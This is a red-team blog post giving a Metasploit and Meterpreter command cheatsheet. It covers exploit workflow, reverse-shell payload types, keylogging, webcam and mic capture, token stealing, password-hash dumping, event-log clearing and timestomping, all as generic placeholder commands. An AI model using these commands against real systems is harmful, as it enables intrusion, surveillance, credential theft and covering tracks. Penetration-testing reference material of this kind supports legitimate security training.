Metasploit Framework (MSFconsole) Cheatsheet

by
This entry is part 13 of 19 in the series Red Team Engagements

Views: 6

Disclaimer:


This post is created solely for educational and research purposes. The techniques, tools, and concepts discussed are intended to enhance cybersecurity awareness and skills by demonstrating how offensive security testing works. Unauthorized access to computer systems is a criminal offense and subject to severe penalties. Always practice these techniques in a controlled lab environment or with explicit permission from the system owner.

MSF Cheatsheet

1. Starting & Updating

msfconsole            # Start Metasploit
msfupdate             # Update Metasploit (if installed from GitHub)
searchsploit <term>   # Search Exploit-DB (outside MSF)

2. Module Types

Metasploit modules are stored under /usr/share/metasploit-framework/modules/ and come in different types:

  • auxiliary → Scanning, fuzzing, sniffing, brute-forcing.
  • exploit → The actual exploit code.
  • payload → Shellcode delivered by the exploit.
  • encoder → Encodes payload to evade detection.
  • nop → “No Operation” generator for buffer alignment.
  • post → Post-exploitation modules.

3. Basic Workflow

search <term>                  # Search for modules
use <path|name>                # Use a module
info                           # Get module info
show options                   # Show required parameters
set <option> <value>           # Set an option
unset <option>                 # Clear an option
show payloads                  # List compatible payloads
set payload <payload_path>     # Set specific payload
show targets                   # Show target OS/application list
set target <ID>                # Set target
exploit                        # Run the exploit
run                            # Same as exploit
exploit -j                     # Run in background
exploit -z                     # Don’t interact with session
check                          # Check if target is vulnerable

4. Search Examples

search type:exploit name:ftp
search cve:2021-3156
search platform:windows smb

5. Job & Session Management

jobs                           # List background jobs
jobs -k <id>                   # Kill a job
sessions                       # List sessions
sessions -i <id>               # Interact with a session
sessions -k <id>               # Kill a session
sessions -u <id>               # Upgrade shell to Meterpreter

6. Payload Types

Singles – Complete payload, no staging.
Stagers – Connects back & downloads stage.
Stages – Second part of payload (meterpreter, shell, etc.).

Examples:

windows/meterpreter/reverse_tcp
linux/x86/meterpreter_reverse_https
php/meterpreter/reverse_tcp

Meterpreter Cheatsheet

1. Core Commands

help                         # Show help menu
sysinfo                      # Target system info
getuid                       # Current user ID
getpid                       # Process ID
getprivs                     # Show current privileges
getsystem                    # Try to get SYSTEM/root
background                   # Send session to background
exit                         # Close session

2. File System

pwd                          # Print working directory
ls                           # List files
cd <dir>                     # Change directory
cat <file>                   # Display file contents
download <src> [dest]        # Download file
upload <src> [dest]          # Upload file
edit <file>                  # Edit file in place
search -f <filename>         # Search for file

3. Process & Privilege Management

ps                           # List processes
migrate <pid>                # Migrate to another process
kill <pid>                   # Kill a process
steal_token <pid>            # Steal access token
rev2self                     # Revert to original user

4. Network Commands

ipconfig                     # Show IP info
route                        # Show network routes
arp                          # Show ARP table
portfwd add -l <LPORT> -p <RPORT> -r <RHOST>  # Port forward
portfwd list                 # List forwards
portfwd delete -l <LPORT>    # Remove forward

5. Shell Access

shell                        # Drop into system shell
execute -f <cmd>             # Run command without shell
execute -f cmd.exe -i -H      # Interactive hidden process

6. Screenshot & Keylogging

screenshot                   # Capture screen
keyscan_start                # Start keylogger
keyscan_stop                 # Stop keylogger
keyscan_dump                 # Dump captured keystrokes

7. Webcam & Mic

webcam_list                  # List webcams
webcam_snap                  # Take snapshot
webcam_stream                # Live stream webcam
record_mic                   # Record from microphone

8. Pivoting

run autoroute -s <subnet>    # Add route to subnet
run autoroute -p             # Show pivot routes

9. Post Exploitation

hashdump                     # Dump SAM hashes (Windows)
clearev                      # Clear event logs
timestomp                    # Change file timestamps
run post/multi/gather/enum_applications  # List installed apps

10. Useful Post Modules

run post/windows/gather/hashdump
run post/multi/recon/local_exploit_suggester
run post/windows/manage/migrate</code>

Series Navigation<< Installing OpenBAS: The OpenSource Breach and Attack Simulation